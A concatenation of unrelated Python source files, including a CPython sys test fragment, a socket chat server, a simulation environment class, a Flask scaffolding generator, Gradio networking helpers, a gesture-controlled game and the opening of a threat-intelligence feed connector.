import subprocess
env = dict(os.environ)
# Test character: cent sign, encoded as 0x4A (ASCII J) in CP424,
# not representable in ASCII.
env["PYTHONIOENCODING"] = "cp424"
p = subprocess.Popen([sys.executable, "-c", 'print unichr(0xa2)'],
stdout = subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, unichr(0xa2).encode("cp424"))
env["PYTHONIOENCODING"] = "ascii:replace"
p = subprocess.Popen([sys.executable, "-c", 'print unichr(0xa2)'],
stdout = subprocess.PIPE, env=env)
out = p.communicate()[0].strip()
self.assertEqual(out, '?')
def test_call_tracing(self):
self.assertEqual(sys.call_tracing(str, (2,)), "2")
self.assertRaises(TypeError, sys.call_tracing, str, 2)
def test_executable(self):
# sys.executable should be absolute
self.assertEqual(os.path.abspath(sys.executable), sys.executable)
# Issue #7774: Ensure that sys.executable is an empty string if argv[0]
# has been set to an non existent program name and Python is unable to
# retrieve the real program name
import subprocess
# For a normal installation, it should work without 'cwd'
# argument. For test runs in the build directory, see #7774.
python_dir = os.path.dirname(os.path.realpath(sys.executable))
p = subprocess.Popen(
["nonexistent", "-c", 'import sys; print repr(sys.executable)'],
executable=sys.executable, stdout=subprocess.PIPE, cwd=python_dir)
executable = p.communicate()[0].strip()
p.wait()
self.assertIn(executable, ["''", repr(sys.executable)])
@test.test_support.cpython_only
class SizeofTest(unittest.TestCase):
def setUp(self):
self.P = struct.calcsize('P')
self.longdigit = sys.long_info.sizeof_digit
import _testcapi
self.gc_headsize = _testcapi.SIZEOF_PYGC_HEAD
self.file = open(test.test_support.TESTFN, 'wb')
def tearDown(self):
self.file.close()
test.test_support.unlink(test.test_support.TESTFN)
check_sizeof = test.test_support.check_sizeof
def test_gc_head_size(self):
# Check that the gc header size is added to objects tracked by the gc.
size = test.test_support.calcobjsize
gc_header_size = self.gc_headsize
# bool objects are not gc tracked
self.assertEqual(sys.getsizeof(True), size('l'))
# but lists are
self.assertEqual(sys.getsizeof([]), size('P PP') + gc_header_size)
def test_errors(self):
class BadSizeof(object):
def __sizeof__(self):
raise ValueError
self.assertRaises(ValueError, sys.getsizeof, BadSizeof())
class InvalidSizeof(object):
def __sizeof__(self):
return None
self.assertRaises(TypeError, sys.getsizeof, InvalidSizeof())
sentinel = ["sentinel"]
self.assertIs(sys.getsizeof(InvalidSizeof(), sentinel), sentinel)
class OverflowSizeof(long):
def __sizeof__(self):
return int(self)
self.assertEqual(sys.getsizeof(OverflowSizeof(sys.maxsize)),
sys.maxsize + self.gc_headsize)
with self.assertRaises(OverflowError):
sys.getsizeof(OverflowSizeof(sys.maxsize + 1))
with self.assertRaises(ValueError):
sys.getsizeof(OverflowSizeof(-1))
with self.assertRaises((ValueError, OverflowError)):
sys.getsizeof(OverflowSizeof(-sys.maxsize - 1))
def test_default(self):
size = test.test_support.calcobjsize
self.assertEqual(sys.getsizeof(True, -1), size('l'))
def test_objecttypes(self):
# check all types defined in Objects/
size = test.test_support.calcobjsize
vsize = test.test_support.calcvobjsize
check = self.check_sizeof
# bool
check(True, size('l'))
# buffer
with test.test_support.check_py3k_warnings():
check(buffer(''), size('2P2Pil'))
# builtin_function_or_method
check(len, size('3P'))
# bytearray
samples = ['', 'u'*100000]
for sample in samples:
x = bytearray(sample)
check(x, vsize('iPP') + x.__alloc__())
# bytearray_iterator
check(iter(bytearray()), size('PP'))
# cell
def get_cell():
x = 42
def inner():
return x
return inner
check(get_cell().func_closure[0], size('P'))
# classobj (old-style class)
class class_oldstyle():
def method():
pass
check(class_oldstyle, size('7P'))
# instance (old-style class)
check(class_oldstyle(), size('3P'))
# instancemethod (old-style class)
check(class_oldstyle().method, size('4P'))
# complex
check(complex(0,1), size('2d'))
# code
check(get_cell().func_code, size('4i8Pi3P'))
# BaseException
check(BaseException(), size('3P'))
# UnicodeEncodeError
check(UnicodeEncodeError("", u"", 0, 0, ""), size('5P2PP'))
# UnicodeDecodeError
check(UnicodeDecodeError("", "", 0, 0, ""), size('5P2PP'))
# UnicodeTranslateError
check(UnicodeTranslateError(u"", 0, 1, ""), size('5P2PP'))
# method_descriptor (descriptor object)
check(str.lower, size('2PP'))
# classmethod_descriptor (descriptor object)
# XXX
# member_descriptor (descriptor object)
import datetime
check(datetime.timedelta.days, size('2PP'))
# getset_descriptor (descriptor object)
import __builtin__
check(__builtin__.file.closed, size('2PP'))
# wrapper_descriptor (descriptor object)
check(int.__add__, size('2P2P'))
# dictproxy
class C(object): pass
check(C.__dict__, size('P'))
# method-wrapper (descriptor object)
check({}.__iter__, size('2P'))
# dict
check({}, size('3P2P' + 8*'P2P'))
x = {1:1, 2:2, 3:3, 4:4, 5:5, 6:6, 7:7, 8:8}
check(x, size('3P2P' + 8*'P2P') + 16*struct.calcsize('P2P'))
# dictionary-keyiterator
check({}.iterkeys(), size('P2PPP'))
# dictionary-valueiterator
check({}.itervalues(), size('P2PPP'))
# dictionary-itemiterator
check({}.iteritems(), size('P2PPP'))
# ellipses
check(Ellipsis, size(''))
# EncodingMap
import codecs, encodings.iso8859_3
x = codecs.charmap_build(encodings.iso8859_3.decoding_table)
check(x, size('32B2iB'))
# enumerate
check(enumerate([]), size('l3P'))
# file
check(self.file, size('4P2i4P3i3P3i'))
# float
check(float(0), size('d'))
# sys.floatinfo
check(sys.float_info, vsize('') + self.P * len(sys.float_info))
# frame
import inspect
CO_MAXBLOCKS = 20
x = inspect.currentframe()
ncells = len(x.f_code.co_cellvars)
nfrees = len(x.f_code.co_freevars)
extras = x.f_code.co_stacksize + x.f_code.co_nlocals +\
ncells + nfrees - 1
check(x, vsize('12P3i' + CO_MAXBLOCKS*'3i' + 'P' + extras*'P'))
# function
def func(): pass
check(func, size('9P'))
class c():
@staticmethod
def foo():
pass
@classmethod
def bar(cls):
pass
# staticmethod
check(foo, size('P'))
# classmethod
check(bar, size('P'))
# generator
def get_gen(): yield 1
check(get_gen(), size('Pi2P'))
# integer
check(1, size('l'))
check(100, size('l'))
# iterator
check(iter('abc'), size('lP'))
# callable-iterator
import re
check(re.finditer('',''), size('2P'))
# list
samples = [[], [1,2,3], ['1', '2', '3']]
for sample in samples:
check(sample, vsize('PP') + len(sample)*self.P)
# sortwrapper (list)
# XXX
# cmpwrapper (list)
# XXX
# listiterator (list)
check(iter([]), size('lP'))
# listreverseiterator (list)
check(reversed([]), size('lP'))
# long
check(0L, vsize(''))
check(1L, vsize('') + self.longdigit)
check(-1L, vsize('') + self.longdigit)
PyLong_BASE = 2**sys.long_info.bits_per_digit
check(long(PyLong_BASE), vsize('') + 2*self.longdigit)
check(long(PyLong_BASE**2-1), vsize('') + 2*self.longdigit)
check(long(PyLong_BASE**2), vsize('') + 3*self.longdigit)
# module
check(unittest, size('P'))
# None
check(None, size(''))
# object
check(object(), size(''))
# property (descriptor object)
class C(object):
def getx(self): return self.__x
def setx(self, value): self.__x = value
def delx(self): del self.__x
x = property(getx, setx, delx, "")
check(x, size('4Pi'))
# PyCObject
# PyCapsule
# XXX
# rangeiterator
check(iter(xrange(1)), size('4l'))
# reverse
check(reversed(''), size('PP'))
# set
# frozenset
PySet_MINSIZE = 8
samples = [[], range(10), range(50)]
s = size('3P2P' + PySet_MINSIZE*'lP' + 'lP')
for sample in samples:
minused = len(sample)
if minused == 0: tmp = 1
# the computation of minused is actually a bit more complicated
# but this suffices for the sizeof test
minused = minused*2
newsize = PySet_MINSIZE
while newsize <= minused:
newsize = newsize << 1
if newsize <= 8:
check(set(sample), s)
check(frozenset(sample), s)
else:
check(set(sample), s + newsize*struct.calcsize('lP'))
check(frozenset(sample), s + newsize*struct.calcsize('lP'))
# setiterator
check(iter(set()), size('P3P'))
# slice
check(slice(1), size('3P'))
# str
vh = test.test_support._vheader
check('', struct.calcsize(vh + 'lic'))
check('abc', struct.calcsize(vh + 'lic') + 3)
# super
check(super(int), size('3P'))
# tuple
check((), vsize(''))
check((1,2,3), vsize('') + 3*self.P)
# tupleiterator
check(iter(()), size('lP'))
# type
# (PyTypeObject + PyNumberMethods + PyMappingMethods +
# PySequenceMethods + PyBufferProcs)
s = vsize('P2P15Pl4PP9PP11PI') + struct.calcsize('41P 10P 3P 6P')
class newstyleclass(object):
pass
check(newstyleclass, s)
# builtin type
check(int, s)
# NotImplementedType
import types
check(types.NotImplementedType, s)
# unicode
usize = len(u'\0'.encode('unicode-internal'))
samples = [u'', u'1'*100]
# we need to test for both sizes, because we don't know if the string
# has been cached
for s in samples:
check(s, size('PPlP') + usize * (len(s) + 1))
# weakref
import weakref
check(weakref.ref(int), size('2Pl2P'))
# weakproxy
# XXX
# weakcallableproxy
check(weakref.proxy(int), size('2Pl2P'))
# xrange
check(xrange(1), size('3l'))
check(xrange(66000), size('3l'))
def test_pythontypes(self):
# check all types defined in Python/
size = test.test_support.calcobjsize
vsize = test.test_support.calcvobjsize
check = self.check_sizeof
# _ast.AST
import _ast
check(_ast.AST(), size(''))
# imp.NullImporter
import imp
check(imp.NullImporter(self.file.name), size(''))
try:
raise TypeError
except TypeError:
tb = sys.exc_info()[2]
# traceback
if tb != None:
check(tb, size('2P2i'))
# symtable entry
# XXX
# sys.flags
check(sys.flags, vsize('') + self.P * len(sys.flags))
def test_main():
test_classes = (SysModuleTest, SizeofTest)
test.test_support.run_unittest(*test_classes)
if __name__ == "__main__":
test_main()
|
server.py | import socket
import threading
import time
CODE = 'utf-8'
HEADER_LEN = 16
IP = 'localhost'
PORT = 5001
# Лист подключенных clients - socket это ключ, user header и name это данные
clients_list = {}
# Для чтения данных используется функция recv, которой первым параметром нужно передать количество получаемых
# байт данных. Если столько байт, сколько указано, не пришло, а какие-то данные уже появились, она всё равно
# возвращает всё, что имеется, поэтому надо контролировать размер полученных данных.
# Тип возвращаемых данных — bytes. У этого типа есть почти все методы, что и у строк, но для того, чтобы использовать
# из него текстовые данные с другими строками (складывать, например, или искать строку в данных, или печатать),
# придётся декодировать данные (или их часть, если вы обработали байты и выделили строку)
# и использовать уже полученную строку.
def receive(socket):
while True:
try:
# Получаем наш header, содержащий длину сообщения, размер константный
msg_header = socket.recv(HEADER_LEN)
# Если мы не получили данных, клиент корректно закрыл соединение (socket.close () или socket.SHUT_RDWR)
if not msg_header:
return False
# Метод strip() возвращает копию строки, в которой все символы были удалены с начала и конца (пробелы)
msg_len = int(msg_header.decode(CODE).strip())
# Возвращаем объект заголовка сообщения и данных сообщения
return {"header": msg_header, "data": socket.recv(msg_len)}
except:
# Если мы здесь, клиент резко закрыл соединение, например, нажав ctrl + c в своем скрипте
return False
def server():
# TCP почти всегда использует SOCK_STREAM, а UDP использует SOCK_DGRAM.
# TCP (SOCK_STREAM) - это протокол, основанный на соединении. Соединение установлено, и обе стороны ведут
# разговор до тех пор, пока соединение не будет прервано одной из сторон или сетевой ошибкой.
# UDP (SOCK_DGRAM) - это протокол на основе дейтаграмм. Вы отправляете одну дейтаграмму и получаете один ответ,
# а затем соединение разрывается.
# socket.AF_INET — IPv4 usage
serv_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Решение проблемы с Address already in use, вроде не возникало, но добавил
serv_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
serv_sock.bind((IP, PORT))
# С помощью метода listen мы запустим для данного сокета режим прослушивания.
# Метод принимает один аргумент — максимальное количество подключений в очереди.
serv_sock.listen()
print("Server was started!")
while True:
# мы можем принять подключение с помощью метода accept, который возвращает кортеж с двумя элементами:
# новый сокет и адрес клиента. Именно этот сокет и будет использоваться для приема и посылки клиенту данных.
client_socket, client_data = serv_sock.accept()
client = receive(client_socket)
if client:
# Сохраняем имя пользователя и его заголовок
clients_list[client_socket] = client
print(f"Connection from {client_data[0]}:{client_data[1]} ; Nickname: {client['data'].decode(CODE)}")
threading.Thread(target=handler, args=(client_socket, client,)).start()
def handler(socket, client):
while True:
message = receive(socket)
local_time = str(int(time.time())).encode(CODE)
l_time_header = f"{len(local_time):<{HEADER_LEN}}".encode(CODE)
sender_time = {"header": l_time_header, "data": local_time}
if not message or message['data'].decode(CODE) == "!exit":
# Клиент отключился, удаляем его
try:
print(f"Connection was closed by {clients_list[socket]['data'].decode(CODE)}")
del clients_list[socket]
socket.shutdown(socket.SHUT_RDWR)
socket.close()
continue
except:
continue
server_time = time.strftime("%H:%M", time.gmtime())
print(
f"Received message at {server_time} from {client['data'].decode(CODE)}: {message['data'].decode(CODE)}")
for client_sock in clients_list:
if client_sock != socket:
# Мы повторно используем здесь заголовок сообщения, отправленный отправителем, и сохраненный
# Заголовок имени пользователя, отправленный пользователем при подключении
client_sock.send(
client['header'] + client['data'] + message['header'] + message['data'] + sender_time[
'header'] + sender_time['data'])
server()
|
DtnAbstractSimEnvironment.py | import abc
import logging
import simpy
import os
from pathlib import Path
from threading import Thread
import time
import traceback
from simulator.utils.time_utils import sec2hms
class SimEnvironment(simpy.Environment, metaclass=abc.ABCMeta):
section_length = 100
logger_name = 'DTN Simulation'
header_msg = '[{:<6}| {:<15}]: '
track_msg = header_msg+'{} vs. {} (x{:.2f})'
init_msg = header_msg+'Initializing Simulation "{}" (Seed = {})'
end_msg = header_msg+'Total Simulation Time = {}'
del_msg = header_msg+'Simulation Environment Deleted'
def __init__(self, config):
super(SimEnvironment, self).__init__()
self.config = config
self.config_file = config['globals'].config_file
self.sim_id = config['globals'].id
self.do_log = config['globals'].log
self.do_track = config['globals'].track
self.monitor = config['globals'].monitor
self.log_file = config['globals'].outdir / config['globals'].logfile
self.until = config['scenario'].until
def track_simulation(self, dt=1e1, until=None):
if self.do_track == False: return
self._track_thread = Thread(target=self._track_simulation, args=(dt, until))
self._track_thread.start()
def _track_simulation(self, dt, until):
# Initialize variables
msg = self.__class__.track_msg
elapsed = 0.0
self._track_shutdown = False
# Sleep for a second to give time for the simulation to start
time.sleep(1)
while len(self._queue) > 0 and self._track_shutdown == False:
time.sleep(dt)
elapsed += dt
sim_time = self.now
if until: self._track_shutdown = sim_time >= until
sim_rate = sim_time / elapsed
print(msg.format(os.getpid(), self.sim_id, sec2hms(elapsed),
sec2hms(sim_time), sim_rate))
# If the simulation is over, stop the thread
if not self.is_running:
break
#DEBUG: If you uncomment it will tell you which process is running.
#Useful if sim is not moving forward
#print(self.active_process)
@property
def is_running(self):
# According to Simpy docs, if peek returns inf, then there are no more
# events scheduled
return self.peek() != float('inf')
def run(self, *args, **kwargs):
self.new_log_section(title='RUN SIMULATION')
try:
self.track_simulation(dt=self.config['globals'].track_dt,
until=self.until)
if not 'until' in kwargs:
kwargs['until'] = self.until
super(SimEnvironment, self).run(*args, **kwargs)
except Exception as e:
self.new_log_section(title='SIMULATION EXCEPTION')
self.log(traceback.format_exc(), header=False)
self.close_logger()
raise e
finally:
if self.do_track:
self._track_shutdown = True
self._track_thread.join()
def initialize_logger(self):
# If no need to do log, skip
if self.do_log == False: return
# Initialize logger
self.logger = logging.getLogger(self.__class__.logger_name)
# Add the file handler
self.fh = logging.FileHandler(self.log_file, mode='w')
self.fh.setLevel(logging.DEBUG)
self.logger.addHandler(self.fh)
# Start log file
self.new_log_section(self.__class__.logger_name + " Log Start")
def log(self, msg, *args, **kwargs):
# If no need to do log, skip
if self.do_log == False: return
# Build log message
header = True if 'header' not in kwargs else kwargs['header']
header = 't={0:.3f}:\t'.format(self.now) if header == True else ''
if len(args) > 0: msg = msg.format(*args)
self.logger.warning(header + msg)
def error(self, msg, *args, **kwargs):
# If not needed, skip
if self.do_log == False: return
# Build error log message
header = True if 'header' not in kwargs else kwargs['header']
header = 'ERROR during simulation:\t' if header == True else ''
if len(args) > 0: msg = msg.format(*args)
self.logger.warning(header + msg)
def new_line(self):
# If not needed, skip
if self.do_log == False: return
# Add new line
self.logger.warning('')
def close_logger(self):
# If no need to do log, skip
if self.do_log == False: return
# End log file
self.new_log_section(self.__class__.logger_name + " Log End")
self.fh.close()
self.logger.removeHandler(self.fh)
def new_log_section(self, title='', new_break=True):
""" Create a new section in the logger
:param str title: Section title
:param bool new_break: If True, a break is added to the log file.
"""
# If no need to do log, skip
if self.do_log == False: return
# Add a new break line
if new_break == True:
self.logger.warning(' ')
self.logger.warning(' ')
# Display section title
s = self.__class__.section_length
self.logger.warning('=' * s + ' ' + title + ' ' + '=' * s)
@abc.abstractmethod
def initialize(self, *args, **kwargs):
pass
@abc.abstractmethod
def finalize_simulation(self, *args, **kwargs):
pass
@abc.abstractmethod
def validate_simulation(self, *args, **kwargs):
pass
def __str__(self):
return '<DtnSimEnvironment t={}>'.format(self.now)
def __repr__(self):
return '<DtnSimEnvironment t={} at {}>'.format(self.now, hex(id(self))) |
create_flask_app.py | import os
import argparse
def check_for_pkg(pkg):
try:
exec("import " + pkg)
except:
os.system("pip3 install --user " + pkg)
def create_flask_app(app='flask_app', threading=False, wsgiserver=False, unwanted_warnings=False, logging=False, further_logging=False, site_endpoints=None, endpoints=None, request_endpoints=None):
check_for_pkg('flask')
lines = ["from flask import Flask, send_from_directory","import codecs", "import os"]
params = {
'app': app,
'threading': threading,
'wsgiserver': wsgiserver,
'unwanted_warnings': unwanted_warnings,
'logging': logging,
'further_logging': further_logging,
'site_endpoints': site_endpoints,
'endpoints': endpoints,
'request_endpoints': request_endpoints
}
if __name__ == '__main__':
parser = argparse.ArgumentParser()
for param in params.keys():
if 'endpoints' in param:
parser.add_argument('-'+param[0].lower(), '--'+param.lower(), nargs='+', help='', required=False)
else:
parser.add_argument('-'+param[0].lower(), '--'+param.lower(), help='', required=False)
args = vars(parser.parse_args())
for param in args.keys():
if 'request' in param and args[param]:
if len(args[param]) % 3 != 0:
print('Request method endpoint format invalid, enter "Method" "Endpoint" "Parameter"')
if param == 'app':
if args[param] != None:
params[param] = args[param]
else:
params[param] = args[param]
index = "<!DOCTYPE html>\n<html>\n<head>\n\t<title>endpoint</title>\n\t<link href='static/style.css' rel='stylesheet'>\n</head>\n<body>\n\n<script src='static/script.js'></script>\n</body>\n</html>"
project = params['app']
if not os.path.exists(project):
os.mkdir(project)
if not os.path.exists(project+'/web'):
os.mkdir(project+'/web')
if not os.path.exists(project+'/static'):
os.mkdir(project+'/static')
os.system('touch '+project+'/static/style.css')
os.system('touch '+project+'/static/script.js')
indexFile = open(project+"/web/index.html","w+")
indexFile.write(index.replace('endpoint', project))
indexFile.close()
f = open(project+'/'+project+".py","w+")
headers = {
'threading': ["", "#Threading", "from threading import Thread"],
'wsgiserver': ["", "#WSGIServer", "from gevent.pywsgi import WSGIServer"],
'unwanted_warnings': ["", "#Disable Warnings", "import warnings", "warnings.filterwarnings('ignore')"],
'logging': ["", "#Logging", "import logging", "", "#Logging configuration set to debug on debug.log file", "logging.basicConfig(filename='debug.log',level=logging.DEBUG)", "logging.basicConfig(format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')"],
'further_logging': ["", "#Disable unneeded dependencies logging", "werkzeugLog = logging.getLogger('werkzeug')", "werkzeugLog.disabled = True", "requestsLog = logging.getLogger('urllib3.connectionpool')", "requestsLog.disabled = True"],
}
for param in headers.keys():
if params[param]:
for line in headers[param]:
lines.append(line)
lines.append("\ndef run():")
if params['wsgiserver']:
check_for_pkg('gevent')
lines.append("\t#WSGIServer")
lines.append("\tWSGIServer(('', 8081), app).serve_forever()")
else:
lines.append("\tapp.run(host='0.0.0.0',port=8081)")
if params['threading']:
for line in ["", "#Thread", "def keep_alive():", "\tt = Thread(target=run)", "\tt.start()"]:
lines.append(line)
for line in ["", "app = Flask(__name__)", "", "@app.route('/')", "def main():", "\t#index.html", "\treturn codecs.open('web/index.html', 'r', 'utf-8').read()", "", "@app.route('/favicon.ico')", "def favicon():", "\treturn send_from_directory(os.path.join(app.root_path, 'static'),'favicon.ico', mimetype='image/vnd.microsoft.icon')"]:
lines.append(line)
site_endpoints = params['site_endpoints']
if site_endpoints is not None:
for ep in site_endpoints:
print('Endpoint: ' + ep)
tp = ["\n@app.route('/endpoint')", "def endpoint():", "\t#endpoint.html", "\treturn codecs.open('web/endpoint.html', 'r', 'utf-8').read()"]
for line in tp:
lines.append(line.replace('endpoint', ep))
epFile = open(project+"/web/endpoint.html".replace('endpoint', ep),"w+")
epFile.write(index.replace('endpoint', ep).replace('style.css', ep+'.css').replace('script.js', ep+'.js'))
epFile.close()
os.system('touch '+project+'/static/'+ep+'.css')
os.system('touch '+project+'/static/'+ep+'.js')
endpoints = params['endpoints']
if endpoints is not None:
for ep in endpoints:
print('Endpoint: ' + ep)
tp = ["\n@app.route('/endpoint')", "def endpoint():", "\t#endpoint.html", "\treturn endpoint_route"]
for line in tp:
lines.append(line.replace('endpoint', ep))
request_endpoints = params['request_endpoints']
print(request_endpoints)
if request_endpoints:
request_method = request_endpoints[0]
if request_endpoints is not None:
request_endpoints = [request_endpoints[i * 3:(i + 1) * 3] for i in range((len(request_endpoints) + 3 - 1) // 3)]
for request_method, ep, request_param in request_endpoints:
print('Endpoint: ' + ep, '\nMethod: ' + request_method, '\nParameter: ' + request_param)
tp = ["\n@app.route('/"+ep+"/<"+request_param+">', methods=['"+request_method+"'])", "def "+ep+"("+request_param+"):", "\t#"+request_method+" method endpoint", "\treturn do_something("+request_param+")"]
for line in tp:
lines.append(line)
lines.append("\nif __name__ == '__main__':")
if params['wsgiserver']:
lines.append("\t#Run server forever")
lines.append("\tkeep_alive()")
else:
lines.append("\t#Run server")
lines.append("\trun()")
for line in lines:
f.write(line+'\n')
f.close()
print('Created' + project + ' app succesfully.')
for param in params.keys():
if params[param] and param != 'app':
print(param, params[param])
os.system('open '+ project)
if __name__ == '__main__':
create_flask_app() |
display.py | import os
import tempfile
import threading
import time
import webbrowser
from typing import ClassVar
class HTMLViewer:
"""A class for opening html text in browser."""
_THREAD_WAIT_TIME: ClassVar[float] = 5 # seconds
@staticmethod
def _remove_file_thread(fname: str) -> None:
time.sleep(HTMLViewer._THREAD_WAIT_TIME)
if os.path.exists(fname):
os.remove(fname)
@staticmethod
def _remove_file(fname: str) -> None:
threading.Thread(target=HTMLViewer._remove_file_thread, args=(fname,)).start()
@staticmethod
def open_html(html: str) -> None:
"""Open and render html string in browser."""
with tempfile.NamedTemporaryFile(
"r+", suffix=".html", delete=False
) as html_file:
html_file.write(html)
webbrowser.open_new_tab(f"file://{html_file.name}")
HTMLViewer._remove_file(html_file.name)
@staticmethod
def open_svg(svg: str) -> None:
"""Open and render svg image string in browser."""
HTMLViewer.open_html(f"<html><body>{svg}</body></html>")
|
networking.py | """
Defines helper methods useful for setting up ports, launching servers, and
creating tunnels.
"""
from __future__ import annotations
import fastapi
import http
import json
import os
import requests
import socket
import threading
import time
from typing import Optional, Tuple, TYPE_CHECKING
import urllib.parse
import urllib.request
import uvicorn
from gradio import queueing
from gradio.tunneling import create_tunnel
from gradio.app import app
if TYPE_CHECKING: # Only import for type checking (to avoid circular imports).
from gradio import Interface
# By default, the local server will try to open on localhost, port 7860.
# If that is not available, then it will try 7861, 7862, ... 7959.
INITIAL_PORT_VALUE = int(os.getenv('GRADIO_SERVER_PORT', "7860"))
TRY_NUM_PORTS = int(os.getenv('GRADIO_NUM_PORTS', "100"))
LOCALHOST_NAME = os.getenv('GRADIO_SERVER_NAME', "127.0.0.1")
GRADIO_API_SERVER = "https://api.gradio.app/v1/tunnel-request"
class Server(uvicorn.Server):
def install_signal_handlers(self):
pass
def run_in_thread(self):
self.thread = threading.Thread(target=self.run, daemon=True)
self.thread.start()
while not self.started:
time.sleep(1e-3)
def close(self):
self.should_exit = True
self.thread.join()
def get_first_available_port(
initial: int,
final: int) -> int:
"""
Gets the first open port in a specified range of port numbers
Parameters:
initial: the initial value in the range of port numbers
final: final (exclusive) value in the range of port numbers, should be greater than `initial`
Returns:
port: the first open port in the range
"""
for port in range(initial, final):
try:
s = socket.socket() # create a socket object
s.bind((LOCALHOST_NAME, port)) # Bind to the port
s.close()
return port
except OSError:
pass
raise OSError(
"All ports from {} to {} are in use. Please close a port.".format(
initial, final
)
)
def queue_thread(path_to_local_server, test_mode=False):
while True:
try:
next_job = queueing.pop()
if next_job is not None:
_, hash, input_data, task_type = next_job
queueing.start_job(hash)
response = requests.post(
path_to_local_server + "/api/" + task_type + "/",
json=input_data)
if response.status_code == 200:
queueing.pass_job(hash, response.json())
else:
queueing.fail_job(hash, response.text)
else:
time.sleep(1)
except Exception as e:
time.sleep(1)
pass
if test_mode:
break
def start_server(
interface: Interface,
server_name: Optional[str] = None,
server_port: Optional[int] = None,
) -> Tuple[int, str, fastapi.FastAPI, threading.Thread, None]:
"""Launches a local server running the provided Interface
Parameters:
interface: The interface object to run on the server
server_name: to make app accessible on local network, set this to "0.0.0.0". Can be set by environment variable GRADIO_SERVER_NAME.
server_port: will start gradio app on this port (if available). Can be set by environment variable GRADIO_SERVER_PORT.
auth: If provided, username and password (or list of username-password tuples) required to access interface. Can also provide function that takes username and password and returns True if valid login.
"""
server_name = server_name or LOCALHOST_NAME
# if port is not specified, search for first available port
if server_port is None:
port = get_first_available_port(
INITIAL_PORT_VALUE, INITIAL_PORT_VALUE + TRY_NUM_PORTS
)
else:
try:
s = socket.socket()
s.bind((LOCALHOST_NAME, server_port))
s.close()
except OSError:
raise OSError("Port {} is in use. If a gradio.Interface is running on the port, you can close() it or gradio.close_all().".format(server_port))
port = server_port
url_host_name = "localhost" if server_name == "0.0.0.0" else server_name
path_to_local_server = "http://{}:{}/".format(url_host_name, port)
auth = interface.auth
if auth is not None:
if not callable(auth):
app.auth = {account[0]: account[1] for account in auth}
else:
app.auth = auth
else:
app.auth = None
app.interface = interface
app.cwd = os.getcwd()
app.favicon_path = interface.favicon_path
app.tokens = {}
if app.interface.enable_queue:
if auth is not None or app.interface.encrypt:
raise ValueError("Cannot queue with encryption or authentication enabled.")
queueing.init()
app.queue_thread = threading.Thread(
target=queue_thread, args=(path_to_local_server,))
app.queue_thread.start()
if interface.save_to is not None: # Used for selenium tests
interface.save_to["port"] = port
config = uvicorn.Config(app=app, port=port, host=server_name,
log_level="warning")
server = Server(config=config)
server.run_in_thread()
return port, path_to_local_server, app, server
def setup_tunnel(local_server_port: int, endpoint: str) -> str:
response = url_request(
endpoint + '/v1/tunnel-request' if endpoint is not None else GRADIO_API_SERVER)
if response and response.code == 200:
try:
payload = json.loads(response.read().decode("utf-8"))[0]
return create_tunnel(payload, LOCALHOST_NAME, local_server_port)
except Exception as e:
raise RuntimeError(str(e))
def url_request(url: str) -> Optional[http.client.HTTPResponse]:
try:
req = urllib.request.Request(
url=url, headers={"content-type": "application/json"}
)
res = urllib.request.urlopen(req, timeout=10)
return res
except Exception as e:
raise RuntimeError(str(e))
def url_ok(url: str) -> bool:
try:
for _ in range(5):
time.sleep(.500)
r = requests.head(url, timeout=3)
if r.status_code in (200, 401, 302): # 401 or 302 if auth is set
return True
except (ConnectionError, requests.exceptions.ConnectionError):
return False
|
dinosaur.py | """
@author: Viet Nguyen <nhviet1009@gmail.com>
"""
import tensorflow as tf
import cv2
import multiprocessing as _mp
from src.utils import load_graph, dinosaur, detect_hands, predict
from src.config import RED, GREEN, YELLOW
tf.flags.DEFINE_integer("width", 640, "Screen width")
tf.flags.DEFINE_integer("height", 480, "Screen height")
tf.flags.DEFINE_float("threshold", 0.6, "Threshold for score")
tf.flags.DEFINE_float("alpha", 0.3, "Transparent level")
tf.flags.DEFINE_string("pre_trained_model_path", "src/pretrained_model.pb", "Path to pre-trained model")
FLAGS = tf.flags.FLAGS
def main():
graph, sess = load_graph(FLAGS.pre_trained_model_path)
cap = cv2.VideoCapture(0)
cap.set(cv2.CAP_PROP_FRAME_WIDTH, FLAGS.width)
cap.set(cv2.CAP_PROP_FRAME_HEIGHT, FLAGS.height)
mp = _mp.get_context("spawn")
v = mp.Value('i', 0)
lock = mp.Lock()
process = mp.Process(target=dinosaur, args=(v, lock))
process.start()
while True:
key = cv2.waitKey(10)
if key == ord("q"):
break
_, frame = cap.read()
frame = cv2.flip(frame, 1)
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
boxes, scores, classes = detect_hands(frame, graph, sess)
frame = cv2.cvtColor(frame, cv2.COLOR_RGB2BGR)
results = predict(boxes, scores, classes, FLAGS.threshold, FLAGS.width, FLAGS.height)
if len(results) == 1:
x_min, x_max, y_min, y_max, category = results[0]
x = int((x_min + x_max) / 2)
y = int((y_min + y_max) / 2)
cv2.circle(frame, (x, y), 5, RED, -1)
if category == "Closed":
action = 0 # Do nothing
text = "Run"
elif category == "Open" and y < FLAGS.height/2:
action = 1 # Jump
text = "Jump"
elif category == "Open" and y > FLAGS.height/2:
action = 2
text = "Duck"
else:
action = 0
text = "Run"
with lock:
v.value = action
cv2.putText(frame, "{}".format(text), (x_min, y_min - 5),
cv2.FONT_HERSHEY_SIMPLEX, 0.5, GREEN, 2)
overlay = frame.copy()
cv2.rectangle(overlay, (0, 0), (FLAGS.width, int(FLAGS.height / 2)), YELLOW, -1)
cv2.addWeighted(overlay, FLAGS.alpha, frame, 1 - FLAGS.alpha, 0, frame)
cv2.imshow('Detection', frame)
cap.release()
cv2.destroyAllWindows()
if __name__ == '__main__':
main()
|
main.py | import traceback
import logging
from logging import handlers
import time
import argparse
import configparser
from datetime import datetime
from feed import CbFeed, CbFeedInfo, CbReport
from cbapi.response import CbResponseAPI
from threatconnect import ThreatConnect
from threatconnect.Config.FilterOperator import FilterOperator
import os
import sys
import urllib
logging_format = '%(asctime)s-%(name)s-%(lineno)d-%(levelname)s-%(message)s'
logging.basicConfig(format=logging_format)
logger = logging.getLogger(__name__)
logger.setLevel(logging.INFO)
class ThreatConnectConfigurationError(Exception):
def __init__(self, message):
self.message = message
class CbThreatConnectConnector(object):
def __init__(self,
access_id="",
secret_key="",
default_org="",
base_url="",
out_file="tc.json",
sources="",
ioc_types="",
custom_ioc_key="",
feed_url="",
cb_server_token="",
cb_server_url="https://127.0.0.1",
